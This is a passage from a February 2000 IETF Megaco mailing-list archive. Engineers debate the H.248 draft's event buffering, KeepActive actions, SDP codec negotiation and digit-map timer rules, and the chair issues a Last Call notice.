> > > > >with the above behaviour.  Proposal:       It is
> > recommended, that
> > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > becomes possible to
> > > > >specify multiple actions such that  "KeepActive" can be
> > > > combined with,
> > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > the particular
> > > > >application.
> > > > >
> > > > >v13 Status:     OPEN. Extensive modifications of event
> > handling has
> > > > >taken  place. Events now always reported immediately on
> > detection.
> > > >
> > > > Support NetAid!  http://www.netaid.org
> > > > --------------------------------------------------
> > > > Chip Sharp                 Consulting Engineering
> > > > Cisco Systems              Telco Bio-region
> > > > Reality - Love it or Leave it.
> > > > --------------------------------------------------
> > > >
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
> >
> >

Regards

        Flemming

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 20:06:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24899
	for ; Mon, 7 Feb 2000 20:06:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.62C5E730@standards.nortelnetworks.com>; Mon, 7 Feb 2000 20:03:22 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 30928 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 20:02:07 -0500
Received: from mtiwmhc02.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.36299D70@standards.nortelnetworks.com>; Mon, 7 Feb 2000 20:02:07
          -0500
Received: from worldnet.att.net ([12.78.107.67]) by mtiwmhc02.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208010428.MFHJ26879@worldnet.att.net>; Tue, 8 Feb 2000 01:04:28
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389F6C33.93819448@worldnet.att.net>
Date:         Mon, 7 Feb 2000 20:06:59 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: FW: Cisco SG16: Local negotiation
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Tom

We've taken another look at the media negotiation text in v14 and have the
following comments:

1. The MG should be required to return RFC 2327 conformant SDP (the MGC on the
other hand obviously cannot be required to send conformant SDP)

2. The MG should be allowed the MG to select a subset of codecs in a given "m="
line rather than requiring all or nothing.

3. Do not attempt to force synchronous coding, but let the order of first Local
and then Remote guide the process instead. Possible (and probably better)
alternatives here include:
- Add a LocalControl parameter that can specify if symmetry is required or not
- Consider Local and Remote to be pairs, i.e. if Local number X is chosen then
Remote number X is chosen as well.

I've added a couple of comments below.


Tom-PT Taylor wrote:

> Resend.
>
> > -----Original Message-----
> > From: Taylor, Tom-PT [CAR:B904:EXCH]
> > Sent: Thursday, February 03, 2000 3:08 PM
> > To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject:      RE: Cisco SG16: Local negotiation
> >
> > Responses to the points below:
> > (1) Current text definitely supports asymmetry.  Local and Remote can
> > specify different codecs, both of which are supported.  However, if
> > multiple alternatives are presented in Local and Remote, the selection
> > procedure is biassed toward symmetry.

That is somewhat unfortunate as you are dictating policy in the protocol. As it
turns out, there are actually some cases where you do not want symmetric codecs
(maybe not so surprising after all when we consider the typical bandwidth
asymmetry we find on Cable and xDSL)

>
> >
> > (2) Proposed third alternative (report all capabilities, reserve for only
> > one) seems like an optimization.  It isn't really consistent with SDP.
> >

You're right. We'll defer that one.


>
> > (3) SDP itself says that multiple entries on the m= line must all be
> > supported:
> >
> >      When a list of payload formats is given, this implies that all of
> >      these formats may be used in the session, but the first of these
> >      formats is the default format for the session.
> >

Maybe I lost track of the thread, but there doesn't seem to be an issue here.

>
> >
> > -----Original Message-----
> > From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> > Sent: Tuesday, January 25, 2000 7:47 PM
> > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject:      Cisco SG16: Local negotiation
> >
> > Section:        7.1.8, second paragraph
> > Category:       Open Issue
> > Issue:          The draft text specifies that "Local is the capability of
> > the local
> > MG and is typically sent from MG to MGC, and subsequently used as part of
> > a
> > capability negotiation between two MGCs. Remote contains the parameters
> > describing the flows the remote MG will send/receive, is typically sent
> > from MGC to MG, and is the result of the capability negotiation". The
> > details of this negotiation as well as how it interacts with
> > LocalControlDescriptor and the network package defined in Annex E.9 is
> > unclear and needs further clarification. In particular, it is not clear:
> >
> > *       that the specification adequately supports media streams with
> > asymmetric
> > send and receive capabilities.
> > *       when negotiated media resources are reserved and they are
> > available for use
> > It should be noted, that this particular issue has been the subject of
> > much
> > debate on the IETF Megaco mailing list since the white contribution was
> > developed, and that at time of writing, no resolution had been found.
> > Discussion:             Given the fact, that solving this issue is at the
> > heart of the
> > very purpose of the protocol, it is recommended that additional work to
> > develop a solution that satisfies the protocol requirements [1] in this
> > area is done.
> >
> > v13 Status:             Modified. INADEQUATE. Above text has been removed
> > and replaced
> > with extensive new text, incl. description of "Reserve" parameter in
> > Section 7.1.7 which provides for:
> > *       Return all alternatives supported and currently capable, and
> > reserve
> > sufficient resources for any one of those.
> > *       Return one alternative, and reserve sufficient resources for that
> > one.
> > In addition to these two options, a third option is proposed:
> > *       Return all alternatives supported and currently capable, but only
> > reserve
> > sufficient resources for one alternative selected.
> > This will allow each endpoint to learn the capabilities of the other
> > without requiring that simultaneous support for each alternative. This may
> > be required when codecs (or other associated resources, e.g. external
> > resource reservation) can not be activated nearly instantaneously.
> > Also, how does this interwork with SIP, etc., i.e. other protocols that
> > use
> > SDP ? For example, it does not seem to be legal to only support a subset
> > of
> > the codecs listed in an "m=" line which is somewhat problematic.
> >
> >
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------

Regards

        Flemming

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 02:34:15 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12029
	for ; Tue, 8 Feb 2000 02:34:15 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8AE0DF00@standards.nortelnetworks.com>; Tue, 8 Feb 2000 2:31:02 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 31406 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 02:29:38 -0500
Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.9715A2D0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 2:17:04
          -0500
Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by
          tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id NAA12483 for
          ; Tue, 8 Feb 2000 13:17:50 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525687F.0027A5B6 ; Tue, 8 Feb 2000 12:43:03 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525687F.0027A585.00@sandesh.hss.hns.com>
Date:         Tue, 8 Feb 2000 12:46:35 +0530
Reply-To: klaha@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"
              
From: Kushanava Laha 
Subject:      Dgit map clarifications and queries
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom,
     This is with reference to the digitmap changes as exchanged in
the earlier mails viz. "Issue score card", "Updates submitted to ITU based
on Issue score card" and "More digitmap fixes dtd. 02/04/2000".
     I list down below some points - a few are queries (q) and the rest
clarifications (c)

1.  Short timer modifier does not explicitly appear in a digitmap string (c)

2. The short timer is implicit. It is started only when there is a '.' (DOT)
encountered
      OR when a pattern has matched but there is a possibility of an alternate
match if more
      digits arrive within the timeout. (c)

3. Only 'L' modifiers can appear in a digit string and if it appears then it
overrides the
     default interdigit timer for the digit position for which it appears. For
subsequent
     digits till the modifier appears again the default interdigit timer is
applicable.
     e.g 123L45 implies that only between 3 & 4 'L' timer is to be started and
for the rest
     it is the default interdigit timer.(q)

4. By a default interdigit timer I mean the timer which is started by the Media
Gateway
     if it can determine that atleast one more digit is needed for a digit
string to match any
     of the allowed patterns in the digit map. But in an earlier mail you have
mentioned that
     this default interdigit timer is the Long Duration timer "L". Then what is
the use of explicitly
     including an 'L' in the digit string ? Isn't it implicit ? Or is it used to
override a short timer ? (q)

5. Section 7.1.14, para 5 describes the 'L' timer as "placed in front ........."
which suggests that
     'L' modifiers dictate  the validity of the duration of the digit following
the modifier to be atleast
     equal to the long-duration threshold and is not applicable for subsequent
digits. This is not
     the same as an interdigit timer. Then what is 'L' ? Is it the interdigit
timer or the digit duration timer ? (q)

6. Given a digit map "123|1234" if the user dials 1235 then is 123 to be
reported through the digit
    completion event? (q)

7. The implication of a "." (DOT) is an indefinite expectation of the digit
preceding the "." within the
     short timer duration. It makes sense then if "." appears after an "x" but
what practical meaning
     does say "7." convey - which is nothing but an indefinite expectation of
"7"s and "7"s only ? (q)

8.  With reference to an example stated by you , in case of DTMF dialing "x.F"
means expecting an
     arbitrary number of digits from 0 to 9 terminated by # and a long timer is
to be started after the
     first digit. As per rule of starting timers it should have been the short
timer because of the presence
     of a ".", then why a long timer ?
     Secondly, what happens on timer expiry and no digits or # being dialed by
the user ? Should MG
     wait infinitely for the # to come or should it report the collected digits
in digit completion event stating
     that # was not received or should the digit collection procedure be
abandoned ? (q)

9. With respect to the same example, "it has been stated that "x.F" and "x."
convey the same meaning
    except for the timer issue. In the case of "x." timer to be started is the
short timer. Other than the confusion on
    the timer to be started issue as conveyed in point 8, a # in this case is
also expected though it is not explicit
    and the rules also don't talk of such things. It is confusing in the sense
that for digit collection other than
    DTMF, where # is not expected the case of "x." becomes indistinguishable.(q)

Regards,
Kushanava Laha,
Hughes Software Systems,
India


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 08:13:57 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA18151
	for ; Tue, 8 Feb 2000 08:13:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FC05F9C0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 8:10:38 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 31823 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 08:09:52 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.E08F07E0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 8:09:52
          -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 8 Feb 2000 07:11:56 -0600
Received: from zrchb213.us.nortel.com by zmers013; Tue, 8 Feb 2000 08:11:39
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1QND3YAF>; Tue, 8 Feb 2000 07:11:37 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Tue, 8 Feb 2000 07:11:38 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Last Call
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

If Last Call is to have anything meaning at all, it must be conducted during
the present SG 16 meeting.

Nancy is about to put MegacoH248v15 on the site.  I invite Last Call
comments based on this version of the document.  We can recycle as necessary
to reflect decisions taken.

Sorry for not drawing the line in early December, when (in hindsight) we
might have done things more cleanly.

Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 09:21:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22556
	for ; Tue, 8 Feb 2000 09:21:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.602D3B80@standards.nortelnetworks.com>; Tue, 8 Feb 2000 9:17:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 31981 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 09:16:01 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.B85C1210@standards.nortelnetworks.com>; Tue, 8 Feb 2000 9:06:01
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA25199; Tue, 8 Feb
          2000 09:08:16 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA19262; Tue, 8 Feb
          2000 09:08:17 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4LMY>; Tue, 8 Feb 2000 09:04:56 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088CE@whq-msgusr-02.fore.com>
Date:         Tue, 8 Feb 2000 09:08:15 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Thank you for taking the time to go through your issues.
I only wish you had done so two months ago!  Before dealing with
specifics, there is one aspect of the current mechanism you seem
to have misinterpreted.  When EventBuffering is ON, events detected
are compared against the EventBuffer Descriptor, not the Events Descriptor.

...snip...
> The current event handling mechanism in Megaco/H248 v14 can
> be viewed as
> three processes that all interact. Events can be viewed as
> always being
> added to an event buffer (a FIFO queue) by an Event Detection process.

> Another Event Processing process then removes these events
> from the FIFO
> queue. When a notification is sent, this process may block,
> waiting for a
> new Events Descriptor to be received. Events detected
> meanwhile will simply
> be added to the FIFO queue. Finally, whenever a new
> Events Descriptor is
> received the third process runs. This process determines the
> fate of events
> of events sitting in the FIFO queue, and installs a new
> Events Descriptor.
>
> The processes are illustrated in pseudo-code below
>
> Process 1: Event Detection
> ===================
> do {
> 
> if < event in current Events Descriptor> then   /* current
> Events Descriptor
> */
>   
>  else
>   
> } forever
The buffering process does not always buffer events.  In most
cases, it immediately Notifies.  The decision process is:
        If EventBuffering is On,
                If no events have been detected
                        ; the first event is immediately processed
                        If it is in Events Descriptor
                                Notify immediately
                        Else
                                discard
                Else
                        If it is in EventBuffer Descriptor
                                place in the buffer
                        Else
                                discard
        Else
                If the event is in Events Descriptor
                        Notify immediately
                Else
                        discard

To be really precise, it's possible that an event will occur
while another event is being processed when EventBuffering is Off,
and you could consider the second event in some kind of buffer.
I personally wouldn't - if it made it before I finished the Notify,
I'd add it to the Notify in process.  If it was after, I'd just hold
off processing it until I was done.


>
> Process 2: Event Processing
> ===================
> do {
>  < wait for event in event buffer>
>  < remove first event from event buffer>
>  if  then {
>   Notify(event)
>   if  (Eventbuffer = "on") then  /* current Events Descriptor */
>    
>  }
> } forever
I'd say this process doesn't exist


> Process 3: New Event Descriptor
> =======================
> if    /* new EventsDescritpr */
>  
> 
This is incorrect.  The first part is correct (clear eventBuffer if
EventBuffering is off).  The second part is:
  Else
        While EventBuffer has any events
                If Event is in new Events Descriptor
                        Notify this event
                        Exit loop
                Else
                        discard
        End Loop

>
> Unfortunately, this mechanism suffers from some drawbacks,
> especially when
> compared to the mechanism that was specified in TD-58 after
> the Red Bank
> meeting:
>
> 1. Events to be detected in process 1 are always determined
> by the current
> Events Descriptor. This is an unfortunate restriction which may prevent
> detection of events that arrive more rapidly than the round-trip +
> processing time. For example, an application may initially
> wish to detect
> seizure, and subsequently detect a wink or unseizure. Unless
> all events are
> requested at the same time (which would effectively prevent
> glare detection)
> detection of all these events could not be guaranteed.
This is incorrect, there are two masks -- Events Descriptor and
BufferedEvents Descriptor.  The former determines what is notified,
the latter determines what is buffered.

Seizure would be Events Descriptor, Unseizure and wink would be
in BufferedEvents Descriptor.  Alternatively, you could use an
embedded Events Descriptor.

> What is needed, is an extra parameter to specify what events
> to detect (as
> opposed to process) during event buffering. Preferably, this
> set of events
> would be determined based on the union of this parameter and
> the current
> Events Descriptor.
As specified, we "detect" (I would say buffer) events in
BufferedEvents, and we "process" (I would say Notify) events in
Events Descriptor.  We could specify that detect is based on the
union of BufferedEvents and Events, but it's a little late for
optimizations (if it really is what we want, I would think not).

>
> 2. Hardcoding Notify in process 2 limits throughput, as there
> shall normally
> only be one outstanding Notify per termination. A queue of
> Notify to be sent
> may consequently build up at the sender side thereby
> - Incurring event delivery delay when the event arrival rate
> exceeds the
> MG-MGC roundtrip time.
> - Limiting the average event arrival rate to the MG-MGC
> roundtrip time (best
> case).
This may be true if EventBuffering is On, but is not true if
EventBuffering is off.  In the latter case, events are Notified as
they are detected, and no response from the MGC is required.

In the former case, this is precisely what is required.  The point of
buffering events is that once an event is detected, the MG doesn't
know what the MGC wants next; it has to wait to be told.  Meanwhile,
it buffers events the MGC told it it MIGHT want to see.  When it gets
a new event descriptor, it can send ONE event, but then it is back in
the same state - what does the MGC want to do next?

Note that this condition should be very rare - events happen at human
speed in most cases, and computers are fast.  Even in large trunk
gateways, the MGC better be able to keep up with the event stream by
a whole lot more than a round trip time!

> TD-58 from Red Bank did not have this limitation. First of
> all, the MGC had
> the various "accumulate" actions that were designed to
> prevent this problem
> and limit bandwidth and CPU overhead.
It had a per event decision of Notify, Accumulate or process by
digitmap.  We have all of those.

>Secondly, (assuming
> MGCP semantics) it
> would be possible for the MG to try and empty the EventBuffer
> in a single
> message based on the current Events Descriptor (arguably, a
> parameter to
> explicitly allow/disallow this behavior would be beneficial).
No one has ever described a scenario where it was once unacceptable to send
all events, but something occurs which makes it possible to send all events
in the buffer.  This seems unlikely
        Either the MGC is able to run it's own state machine and
                it can handle events whenever they are detected
        OR
        The MGC has a simplistic view, and can only deal with the MG
                and itself being in lockstep

>
> 3. There is a dual use of the Eventbuffer parameter which is
> unfortunate.
> Following a Notify where the Eventbuffer was "on", there is
> no way for the
> MGC to subsequently request that
> a) All the currently buffered events should be processed
> b) Future events should not be buffered events but simply
> sent immediately
This is the same as above.  Somehow, the MGC couldn't handle all
events, and now it can.  How can this be?
I would be willing, I suppose, to allow this (that is, have some way
to empty the Event Buffer by Notify rather than just clearing it),
but no one has been able to come up with a really interesting
case where the MG flips EventBuffering on and off.  I expect it will
set it one way and leave it.

Please cite an interesting case where some events should be buffered,
but there comes an event where the buffer should be sent all at
once (and where it is unacceptable to send the events as they
are detected).

> A simple solution to this problem would be to separate the
> parameter into
> two, which is precisely what the BufferedEventProcessingMode
> in TD-58 did.
Covered above, although no one could ever precisely explain to those of us
who sat through countless hours of discussion and email what the 4 states of
two variables were used for.

>
>
> Finally, from a design perspective, the above solution contains some
> fundamentally undesirable properties. Most problematic is the
> hard-coded
> Notify of events which effectively provides a stimulus based
> approach to
> event handling with none or little future support for scripting. It
> effectively prevents us from taking advantage of more powerful and
> sophisticated MGs that are able to do some amount of local processing
> thereby
> - reducing bandwidth requirements
> - reducing MGC processing requirements (and complexity)
> - improves responsiveness as the network round-trip does not become a
> bottleneck
> Opponents to this point of view may claim, that packages with
> new events,
> signals, and properties can be defined that effectively
> achieve the above,
> as e.g. was done for digitmaps/DTMF detection. While that is
> indeed the case
> (and there are valid use cases for such), the point that
> needs to be made,
> is that the mechanisms are basic and of such high value that
> they should be
> supported natively rather than only by higher level
> mechanisms which may or
> may not be able to interact with each other. Consider for example the
> current DTMF detection scheme. As a consequence of the higher
> layer approach
> taken, it is not able to report incoming DTMF digits and
> other inter-twined
> events in the correct order, since the DTMF detection
> mechanism must itself
> be exactly one event (digit map completion). Another example is the
> interaction with signal interruption, e.g. dial-tone. Again, special
> consideration (define it to take place on the first digit) is
> needed to
> achieve the desired behavior although the event really has
> not occurred yet.
Scripting is, as you know, a version 2 problem.  Presumably, scripting need
not limit itself to the same view of events, or more precisely, it would
probably handle event detection as they occurred, and generate Notifies (if
appropriate), whenever the script decided to.  I would allow scripts to run
on detection, allow them to put events in the buffer, and allow them to run
on Notify (which would include allowing the Notify script to paw through the
buffer).

> Such requirements for special treatment and consideration are simply
> evidence of lack of generality that should not show up at
> this stage. The
> solution specified in TD-58 from Red Bank did not suffer from these
> drawbacks.
Disagree as per above
>
> Some additional comments below
>
>
> "Rosen, Brian" wrote:
>
> > Coming out of Red Bank there was NO consensus on Events,
> > there was in fact wide disagreement on events.  Coming out of
> > Washington, there was NO consensus on events, there was in fact
> > wide disagreement on events.  The proposal we have in V13 was
> > an attempt to fix what people saw as problems in the event
> > mechanism.
> >
> > In Red Bank, no one could explain how the MGCP mechanism works.
> > In Washington, several people attempted to explain how it works
> > (Christian Huitema was not there for that session).  Today in
> > fact, I'll bet you if you ask 10 people who claim they understand
> > how the MGCP mechanism works, you would get several answers,
> > although I would grant you that there is not a lot of variation
> > in the implementations.  The V13 mechanism was not comprehensible
> > to anyone in the design meetings in Washington or Red Bank.
>
> If understanding the MGCP mechanism is the real problem, then
> I'm sure we
> can get the right people to clarify. Having spent a lot of
> time on this
> (admittedly confusing) aspect myself, I can certainly offer my help if
> needed. As for a general lack of understanding of the
> mechanism I think you
> are exagerating. There may be small details here and there that people
> interpret differently, but I bet you any mechanism you
> specify will suffer
> from this, including yours.

Flemming, there are a core of about 5 people who sat and argued and
questioned and puzzled about the MGCP mechanism over two IETF meetings, the
Red Bank meeting and the email list.  Check the archives - there are lots of
messages that attempt to explain how the MGCP mechanism works.  No two
people agreed.  I asked 4 people who said they were part of implementation
teams.  They all explained it differently, although it seems that they
implemented it close to the same thing.  I believe the MGCP text is poorly
written, poorly understood.  AND, even when people more or less explained
how it worked, they were totally unable to explain how you would use it.


>
>
> >
> >
> > I still have never been given any semblance of a reason why
> > the variables in the MGCP exist, and what you do with them.
> > I can, and have, provided same for the current mechanism.  So far
> > we have not, save the confusion over the digitmap/keep active
> > confusion, found a problem.
>
> If you can be more specific I will do my best to try and explain.
>
> >
> >
> > So far, I have found people who want the MGC to sort out events,
> > and they want them as fast as the MG finds them.  I also found
> > people who want a simple state machine, with the MG and MGC in
> > lock step over what should happen.  We cater to both of those.
> > You seem to want something in between, something where the MG
> > has more knowledge about what the MGC wants, and when it wants it
> > than I can figure out.  I can't understand how anything in between
> > gimme all of them, and gimme the next one can work; please
> > enlighten me.
>
> Scripting! It comes in many shapes and forms (although not as
> many and not
> as powerful as you might want right now). You have already defined one
> yourself; digit maps. What accumulate, etc. gives you is essential the
> foundation to build on here. It can even be used natively in
> some cases,
> e.g. for MF trunking if you so desire.
>
> >
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > Sent: Friday, February 04, 2000 2:11 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Cisco SG16: Keep Active
> > >
> > >
> > > Hi Brian
> > >
> > > Some comments below
> > >
> > > Regards
> > >
> > >             Flemming
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > We have just had a discussion on this issue, and I believe it
> > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > of dtmf detection, but is otherwise the same as individual dtmf
> > > > events being enabled.  By that definition, KeepActive works the
> > > > way you wanted it; without it, signals stop with first detected
> > > > digit.  With it, signals continue while digits are detected.
> > > > So your IVR app would specify KeepActive on the
> digitmap completion
> > > > event, and use an embedded signal to turn it off if you
> wanted to.
> > > > The old mechanism doesn't work any differently; if you
> had specified
> > > > keepactive on the digits, whether or not they were accumulate by
> > > > digitmap actions, you still would not be able to treat
> the initial
> > > > digit differently from the terminating digit.  The only way you
> > > > could make this better would be to have the digitmap completion
> > > > event entirely separate from the dtmf detection events, so you
> > > > could have KeepActive separately on the digits from the
> completion.
> > > > I think embedded signals is a better answer, but I'm on
> record as
> > > > thinking that digitmaps should be a package and not a basic
> > > > protocol.
> > > >
> > > > I'll deal with any problems we still have with the current text,
> > > > but a "everything changed" complaint without a problem
> is a no-op.
> > >
> > > I beg to differ. A change without a problem is
> > > counterproductive and what
> > > gets into these situations. We had something perfectly fine
> > > after the Red
> > > Bank meeting which for some reason was changed. Exactly
> *what* was the
> > > problem that prompted this massive change (I'll spare you
> the ITU-T
> > > procedural arguments here). If there were no compelling
> > > reasons, then I
> > > suggest that the text is simply brought back in line with the
> > > agreement from
> > > Red Bank, and then we can close this (big) one and move along.
> > >
> > > If you really want to, we can start a debate about the
> > > relative merits,
> > > trade-offs, and shortcomings of one scheme versus the other.
> > > A couple of
> > > topics off the top of my head
> > > - Reduced number of messages and resultant reduced load
> on network and
> > > entities
> > > - Effective event arrival rate not limited by MGC-MG
> round-trip time
> > > - Support for scripting
> > >
> > >
> > >
> > > >
> > > >
> > > > brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > Subject: Re: Cisco SG16: Keep Active
> > > > >
> > > > >
> > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > >
> > > > > >
> > > > > >I think the primary need here is for clarifying text in
> > > > > section 7.1.14
> > > > > >indicating that events mapped into a digit map do
> not generate
> > > > > >notifications, but do terminate ongoing signals unless the
> > > > > KeepActive flag
> > > > > >is set.
> > > > > Not really. The fundamental problem is the complete rework of
> > > > > the agreed
> > > > > upon event handling mechanism that for some reason was done
> > > > > after the Red
> > > > > Bank meeting.
> > > > >
> > > > > >
> > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> 25, 2000 7:43
> > > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > >   Cisco SG16:
> > > > > >Keep Active
> > > > > >
> > > > > >Section:        7.1.9, "Event Actions"
> > > > > >table  Category:       Technical  Issue:          The draft
> > > > > text specifies
> > > > > >that "KeepActive:      As Notify, but  production of signals
> > > > > continues (if
> > > > > >any signals were active)".The above  definition is overly
> > > > > restrictive in
> > > > > >that it prevents events from being  accumulated (either with
> > > > > or without
> > > > > >digit map) and at the same time keeping  a signal active.
> > > > > For example an
> > > > > >IVR application accumulating a string of  user input and
> > > playing an
> > > > > >announcement until the entire string is  accumulated cannot
> > > > > be supported
> > > > > >with the above behaviour.  Proposal:       It is
> > > recommended, that
> > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > becomes possible to
> > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > combined with,
> > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > the particular
> > > > > >application.
> > > > > >
> > > > > >v13 Status:     OPEN. Event actions table has been
> removed and
> > > > > >extensive  modification of entire event processing
> taken place.
> > > > > >
> > > > > >Section:        7.1.9  Category:       Technical  Issue:
> > >          The
> > > > > >draft text specifies that "When KeepActive is specified
> > > as the  event
> > > > > >action, the media gateway shall send a Notify message to the
> > > > >  controller
> > > > > >upon detection of the event. Furthermore, the controller
> > > shall  not
> > > > > >interrupt any signals active on the Termination on which
> > > the event
> > > > > >is  detected" The above definition is overly restrictive
> > > in that it
> > > > > >prevents  events from being accumulated (either with or
> > > > > without digit map)
> > > > > >and at the  same time keeping a signal active. For
> example an IVR
> > > > > >application  accumulating a string of user input and
> playing an
> > > > > >announcement until the  entire string is accumulated cannot
> > > > > be supported
> > > > > >with the above behaviour.  Proposal:       It is
> > > recommended, that
> > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > becomes possible to
> > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > combined with,
> > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > the particular
> > > > > >application.
> > > > > >
> > > > > >v13 Status:     OPEN. Extensive modifications of event
> > > handling has
> > > > > >taken  place. Events now always reported immediately on
> > > detection.
> > > > >
> > > > > Support NetAid!  http://www.netaid.org
> > > > > --------------------------------------------------
> > > > > Chip Sharp                 Consulting Engineering
> > > > > Cisco Systems              Telco Bio-region
> > > > > Reality - Love it or Leave it.
